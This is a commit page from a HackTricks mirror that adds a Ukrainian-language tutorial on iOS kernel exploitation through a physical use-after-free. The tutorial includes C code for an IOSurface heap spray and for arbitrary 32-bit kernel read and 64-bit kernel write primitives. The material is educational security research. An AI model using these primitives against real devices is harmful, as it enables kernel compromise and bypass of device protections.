mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['binary-exploitation/ios-exploiting.md'] to ua
This commit is contained in:
parent
837777f55c
commit
6c1aa4e6e0
2 changed files with 204 additions and 0 deletions
|
@ -778,6 +778,7 @@
|
|||
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
|
||||
## 🔩 Reversing
|
||||
|
||||
|
|
203
binary-exploitation/ios-exploiting.md
Normal file
203
binary-exploitation/ios-exploiting.md
Normal file
|
@ -0,0 +1,203 @@
|
|||
# iOS Exploiting
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
Це резюме з посту з [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), крім того, додаткову інформацію про експлойт, що використовує цю техніку, можна знайти в [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
**Віртуальний адресний простір пам'яті** для користувацьких процесів на iOS охоплює від **0x0 до 0x8000000000**. Однак ці адреси не відображаються безпосередньо на фізичну пам'ять. Натомість, **ядро** використовує **таблиці сторінок** для перетворення віртуальних адрес на фактичні **фізичні адреси**.
|
||||
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Таблиці сторінок організовані ієрархічно на трьох рівнях:
|
||||
|
||||
1. **L1 Page Table (Рівень 1)**:
|
||||
* Кожен запис тут представляє великий діапазон віртуальної пам'яті.
|
||||
* Він охоплює **0x1000000000 байт** (або **256 ГБ**) віртуальної пам'яті.
|
||||
2. **L2 Page Table (Рівень 2)**:
|
||||
* Запис тут представляє меншу область віртуальної пам'яті, а саме **0x2000000 байт** (32 МБ).
|
||||
* Запис L1 може вказувати на таблицю L2, якщо він не може відобразити весь регіон самостійно.
|
||||
3. **L3 Page Table (Рівень 3)**:
|
||||
* Це найдрібніший рівень, де кожен запис відображає одну **4 КБ** сторінку пам'яті.
|
||||
* Запис L2 може вказувати на таблицю L3, якщо потрібен більш детальний контроль.
|
||||
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Пряме відображення (Блокове відображення)**:
|
||||
* Деякі записи в таблиці сторінок безпосередньо **відображають діапазон віртуальних адрес** на безперервний діапазон фізичних адрес (як скорочення).
|
||||
* **Вказівник на дочірню таблицю сторінок**:
|
||||
* Якщо потрібен більш детальний контроль, запис на одному рівні (наприклад, L1) може вказувати на **дочірню таблицю сторінок** на наступному рівні (наприклад, L2).
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
Припустимо, ви намагаєтеся отримати доступ до віртуальної адреси **0x1000000000**:
|
||||
|
||||
1. **L1 Table**:
|
||||
* Ядро перевіряє запис таблиці L1, що відповідає цій віртуальній адресі. Якщо він має **вказівник на таблицю L2**, воно переходить до цієї таблиці L2.
|
||||
2. **L2 Table**:
|
||||
* Ядро перевіряє таблицю L2 для більш детального відображення. Якщо цей запис вказує на **таблицю L3**, воно продовжує туди.
|
||||
3. **L3 Table**:
|
||||
* Ядро шукає фінальний запис L3, який вказує на **фізичну адресу** фактичної сторінки пам'яті.
|
||||
|
||||
#### Example of Address Mapping
|
||||
|
||||
Якщо ви запишете фізичну адресу **0x800004000** у перший індекс таблиці L2, тоді:
|
||||
|
||||
* Віртуальні адреси від **0x1000000000** до **0x1002000000** відображаються на фізичні адреси від **0x800004000** до **0x802004000**.
|
||||
* Це **блокове відображення** на рівні L2.
|
||||
|
||||
Альтернативно, якщо запис L2 вказує на таблицю L3:
|
||||
|
||||
* Кожна 4 КБ сторінка у віртуальному адресному діапазоні **0x1000000000 -> 0x1002000000** буде відображена окремими записами в таблиці L3.
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
**Фізичне використання після звільнення** (UAF) відбувається, коли:
|
||||
|
||||
1. Процес **виділяє** певну пам'ять як **читабельну та записувану**.
|
||||
2. **Таблиці сторінок** оновлюються, щоб відобразити цю пам'ять на конкретну фізичну адресу, до якої процес може отримати доступ.
|
||||
3. Процес **звільняє** пам'ять.
|
||||
4. Однак, через **помилку**, ядро **забуває видалити відображення** з таблиць сторінок, хоча воно позначає відповідну фізичну пам'ять як вільну.
|
||||
5. Ядро може потім **перевиділити цю "звільнену" фізичну пам'ять** для інших цілей, таких як **дані ядра**.
|
||||
6. Оскільки відображення не було видалено, процес все ще може **читати та записувати** в цю фізичну пам'ять.
|
||||
|
||||
Це означає, що процес може отримати доступ до **сторінок пам'яті ядра**, які можуть містити чутливі дані або структури, що потенційно дозволяє зловмиснику **маніпулювати пам'яттю ядра**.
|
||||
|
||||
### Exploitation Strategy: Heap Spray
|
||||
|
||||
Оскільки зловмисник не може контролювати, які конкретні сторінки ядра будуть виділені для звільненої пам'яті, вони використовують техніку, звану **heap spray**:
|
||||
|
||||
1. Зловмисник **створює велику кількість об'єктів IOSurface** у пам'яті ядра.
|
||||
2. Кожен об'єкт IOSurface містить **магічне значення** в одному з його полів, що полегшує його ідентифікацію.
|
||||
3. Вони **сканують звільнені сторінки**, щоб перевірити, чи потрапив якийсь з цих об'єктів IOSurface на звільнену сторінку.
|
||||
4. Коли вони знаходять об'єкт IOSurface на звільненій сторінці, вони можуть використовувати його для **читання та запису пам'яті ядра**.
|
||||
|
||||
Більше інформації про це в [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: Зловмисник створює багато об'єктів IOSurface з особливим ідентифікатором ("магічне значення").
|
||||
2. **Scan Freed Pages**: Вони перевіряють, чи були виділені якісь з об'єктів на звільненій сторінці.
|
||||
3. **Read/Write Kernel Memory**: Маніпулюючи полями в об'єкті IOSurface, вони отримують можливість виконувати **произвольні читання та записи** в пам'яті ядра. Це дозволяє їм:
|
||||
* Використовувати одне поле для **читання будь-якого 32-бітного значення** в пам'яті ядра.
|
||||
* Використовувати інше поле для **запису 64-бітних значень**, досягаючи стабільного **примітиву читання/запису ядра**.
|
||||
|
||||
Генерувати об'єкти IOSurface з магічним значенням IOSURFACE\_MAGIC для подальшого пошуку:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
Шукайте **`IOSurface`** об'єкти на одній звільненій фізичній сторінці:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Досягнення читання/запису ядра з IOSurface
|
||||
|
||||
Після отримання контролю над об'єктом IOSurface в пам'яті ядра (відображеним на звільнену фізичну сторінку, доступну з простору користувача), ми можемо використовувати його для **произвольних операцій читання та запису в ядрі**.
|
||||
|
||||
**Ключові поля в IOSurface**
|
||||
|
||||
Об'єкт IOSurface має два важливих поля:
|
||||
|
||||
1. **Вказівник на кількість використань**: Дозволяє **32-бітне читання**.
|
||||
2. **Вказівник на індексований часовий штамп**: Дозволяє **64-бітний запис**.
|
||||
|
||||
Перезаписуючи ці вказівники, ми перенаправляємо їх на произвольні адреси в пам'яті ядра, що дозволяє можливості читання/запису.
|
||||
|
||||
#### 32-Бітне читання з ядра
|
||||
|
||||
Щоб виконати читання:
|
||||
|
||||
1. Перезапишіть **вказівник на кількість використань**, щоб він вказував на цільову адресу мінус зсув 0x14 байт.
|
||||
2. Використовуйте метод `get_use_count`, щоб прочитати значення за цією адресою.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-Бітний Ядро Запис
|
||||
|
||||
Щоб виконати запис:
|
||||
|
||||
1. Перезапишіть **індексований вказівник часу** на цільову адресу.
|
||||
2. Використовуйте метод `set_indexed_timestamp`, щоб записати 64-бітне значення.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Резюме потоку експлуатації
|
||||
|
||||
1. **Виклик фізичного використання після звільнення**: Вільні сторінки доступні для повторного використання.
|
||||
2. **Розподіл об'єктів IOSurface**: Виділити багато об'єктів IOSurface з унікальним "магічним значенням" у пам'яті ядра.
|
||||
3. **Визначити доступний IOSurface**: Знайти IOSurface на звільненій сторінці, якою ви керуєте.
|
||||
4. **Зловживання використанням після звільнення**: Змінити вказівники в об'єкті IOSurface, щоб дозволити довільне **читання/запис ядра** через методи IOSurface.
|
||||
|
||||
З цими примітивами експлуатація забезпечує контрольовані **32-бітні читання** та **64-бітні записи** в пам'ять ядра. Подальші кроки джейлбрейка можуть включати більш стабільні примітиви читання/запису, які можуть вимагати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).
|
Loading…
Reference in a new issue